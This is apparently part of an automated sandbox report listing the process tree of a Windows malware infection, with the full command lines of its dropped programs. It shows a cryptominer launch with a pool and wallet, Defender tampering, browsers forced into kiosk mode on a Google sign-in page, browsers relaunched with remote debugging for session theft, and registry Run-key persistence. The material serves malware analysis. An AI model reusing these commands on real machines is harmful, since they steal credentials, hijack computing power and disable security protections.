                                                      C:\Users\Admin\AppData\Roaming\winhost\winhost.exe --donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=80
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      • Suspicious use of FindShellTrayWindow
                                                      PID:5076
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      7⤵
                                                      • Enumerates processes with tasklist
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1392
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      7⤵
                                                      • Enumerates processes with tasklist
                                                      PID:6984
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      7⤵
                                                      • Enumerates processes with tasklist
                                                      PID:6624
                                                  • C:\Users\Admin\AppData\Local\Temp\10319000101\5d0ced5341.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10319000101\5d0ced5341.exe"
                                                    6⤵
                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                    • Checks BIOS information in registry
                                                    • Executes dropped EXE
                                                    • Identifies Wine through registry keys
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2544
                                                  • C:\Users\Admin\AppData\Local\Temp\10319010101\e30a4e2837.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10319010101\e30a4e2837.exe"
                                                    6⤵
                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                    • Checks BIOS information in registry
                                                    • Executes dropped EXE
                                                    • Identifies Wine through registry keys
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4708
                                                  • C:\Users\Admin\AppData\Local\Temp\10319020101\de9077fc34.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10319020101\de9077fc34.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
                                                    PID:3288
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /F /IM firefox.exe /T
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3680
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /F /IM chrome.exe /T
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:372
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /F /IM msedge.exe /T
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3692
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /F /IM opera.exe /T
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1372
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /F /IM brave.exe /T
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2552
                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                      7⤵
                                                        PID:1756
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                          8⤵
                                                          • Checks processor information in registry
                                                          • Modifies registry class
                                                          • Suspicious use of FindShellTrayWindow
                                                          • Suspicious use of SendNotifyMessage
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:1624
                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1916 -prefsLen 27099 -prefMapHandle 1920 -prefMapSize 270279 -ipcHandle 1868 -initialChannelId {0c25a936-3923-4e42-9f38-c959b38d2146} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                            9⤵
                                                              PID:1580
                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2436 -prefsLen 27135 -prefMapHandle 2440 -prefMapSize 270279 -ipcHandle 2448 -initialChannelId {7ae24d4f-14eb-49ba-ad9a-37e7afc3fe14} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                              9⤵
                                                                PID:868
                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3852 -prefsLen 25213 -prefMapHandle 3856 -prefMapSize 270279 -jsInitHandle 3860 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3868 -initialChannelId {24ee296c-a020-431c-9a78-4f653f4322dc} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                9⤵
                                                                  PID:2976
                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4060 -prefsLen 27325 -prefMapHandle 4064 -prefMapSize 270279 -ipcHandle 4072 -initialChannelId {9469753f-90a4-4401-ba37-a108afe941d2} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                  9⤵
                                                                    PID:3732
                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2896 -prefsLen 34824 -prefMapHandle 2900 -prefMapSize 270279 -jsInitHandle 2980 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2932 -initialChannelId {51690dc4-2b45-4fbb-8562-91e159e0c720} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                    9⤵
                                                                      PID:2760
                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2584 -prefsLen 35012 -prefMapHandle 3424 -prefMapSize 270279 -ipcHandle 2472 -initialChannelId {019719e5-f733-471c-9cc7-fb2540cc2971} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                      9⤵
                                                                        PID:5224
                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5092 -prefsLen 32900 -prefMapHandle 5096 -prefMapSize 270279 -jsInitHandle 5100 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5112 -initialChannelId {790f2635-b3d7-49fa-82de-079ca9d3a3cf} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                        9⤵
                                                                          PID:5232
                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5308 -prefsLen 32952 -prefMapHandle 5312 -prefMapSize 270279 -jsInitHandle 5316 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5320 -initialChannelId {4408bbe9-afa6-4996-8f40-a943ae983e17} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                          9⤵
                                                                            PID:5184
                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5492 -prefsLen 32952 -prefMapHandle 5496 -prefMapSize 270279 -jsInitHandle 5500 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5508 -initialChannelId {5abaf18c-1cbc-4c6e-8c6b-8c79fc56086b} -parentPid 1624 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1624" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                            9⤵
                                                                              PID:3300
                                                                            • C:\Program Files\Mozilla Firefox\crashreporter.exe
                                                                              "C:\Program Files\Mozilla Firefox\crashreporter.exe" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\60pbrgcr.default-release\minidumps\b1b64354-3b48-49d1-948d-a43902cc5099.dmp"
                                                                              9⤵
                                                                                PID:6680
                                                                        • C:\Users\Admin\AppData\Local\Temp\10319030101\ef54ab4fd5.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\10319030101\ef54ab4fd5.exe"
                                                                          6⤵
                                                                          • Modifies Windows Defender DisableAntiSpyware settings
                                                                          • Modifies Windows Defender Real-time Protection settings
                                                                          • Modifies Windows Defender TamperProtection settings
                                                                          • Modifies Windows Defender notification settings
                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                          • Checks BIOS information in registry
                                                                          • Executes dropped EXE
                                                                          • Identifies Wine through registry keys
                                                                          • Windows security modification
                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4732
                                                                        • C:\Users\Admin\AppData\Local\Temp\10319040101\e96b36abf6.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\10319040101\e96b36abf6.exe"
                                                                          6⤵
                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                          • Executes dropped EXE
                                                                          • Identifies Wine through registry keys
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:1384
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                            7⤵
                                                                            • Uses browser remote debugging
                                                                            PID:5504
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ff924cddcf8,0x7ff924cddd04,0x7ff924cddd10
                                                                              8⤵
                                                                                PID:5552
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1980,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1960 /prefetch:2
                                                                                8⤵
                                                                                  PID:1404
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1544,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2224 /prefetch:3
                                                                                  8⤵
                                                                                    PID:372
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2348,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2360 /prefetch:8
                                                                                    8⤵
                                                                                      PID:5152
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3212 /prefetch:1
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:5364
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3344,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3244 /prefetch:1
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:5508
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4300,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4288 /prefetch:2
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:2744
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=3744,i,7654009875074898201,13233846586069826850,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1868 /prefetch:2
                                                                                      8⤵
                                                                                        PID:6536
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                                      7⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:7112
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b0,0x7ff90eaff208,0x7ff90eaff214,0x7ff90eaff220
                                                                                        8⤵
                                                                                          PID:6184
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2160,i,5418221949656417140,12881634489207284112,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:2
                                                                                          8⤵
                                                                                            PID:6464
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1916,i,5418221949656417140,12881634489207284112,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:3
                                                                                            8⤵
                                                                                              PID:6460
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2532,i,5418221949656417140,12881634489207284112,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:8
                                                                                              8⤵
                                                                                                PID:6520
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2624,i,5418221949656417140,12881634489207284112,262144 --variations-seed-version --mojo-platform-channel-handle=2636 /prefetch:1
                                                                                                8⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:6352
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=3464,i,5418221949656417140,12881634489207284112,262144 --variations-seed-version --mojo-platform-channel-handle=3948 /prefetch:2
                                                                                                8⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:4904
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=3880,i,5418221949656417140,12881634489207284112,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:8
                                                                                                8⤵
                                                                                                  PID:5820
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                                                7⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:5940
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                                                7⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:3004
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x2f4,0x7ff915f4f208,0x7ff915f4f214,0x7ff915f4f220
                                                                                                  8⤵
                                                                                                    PID:5664
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1892,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=2620 /prefetch:3
                                                                                                    8⤵
                                                                                                      PID:6668
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2592,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=2588 /prefetch:2
                                                                                                      8⤵
                                                                                                        PID:6216
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1836,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:8
                                                                                                        8⤵
                                                                                                          PID:6612
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3372,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:1
                                                                                                          8⤵
                                                                                                          • Uses browser remote debugging
                                                                                                          PID:4232
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3392,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
                                                                                                          8⤵
                                                                                                          • Uses browser remote debugging
                                                                                                          PID:6480
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4076,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:1
                                                                                                          8⤵
                                                                                                          • Uses browser remote debugging
                                                                                                          PID:5964
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4084,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:2
                                                                                                          8⤵
                                                                                                          • Uses browser remote debugging
                                                                                                          PID:628
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3556,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:8
                                                                                                          8⤵
                                                                                                            PID:6720
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5312,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:8
                                                                                                            8⤵
                                                                                                              PID:2780
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5024,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:8
                                                                                                              8⤵
                                                                                                                PID:6248
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4964,i,16302298809924902752,9166583550091400488,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:8
                                                                                                                8⤵
                                                                                                                  PID:6236
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10319050101\86a84bfafd.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10319050101\86a84bfafd.exe"
                                                                                                              6⤵
                                                                                                                PID:5504
                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                  7⤵
                                                                                                                    PID:5380
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10319060101\Jq0hGDZ.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10319060101\Jq0hGDZ.exe"
                                                                                                                  6⤵
                                                                                                                    PID:5828
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s
                                                                                                                      7⤵
                                                                                                                      • Modifies registry key
                                                                                                                      PID:5600
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Windows Service 9011" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\10319060101\Jq0hGDZ.exe\" /f
                                                                                                                      7⤵
                                                                                                                      • Modifies registry key
                                                                                                                      PID:3616
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v "Microsoft Windows Service 9011" /t REG_BINARY /d 020000000000000000000000 /f
                                                                                                                      7⤵
                                                                                                                      • Modifies registry key
                                                                                                                      PID:3188
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification /v "StartupTNotiMicrosoft Windows Service 9011" /t REG_DWORD /d 1 /f
                                                                                                                      7⤵
                                                                                                                      • Modifies registry key
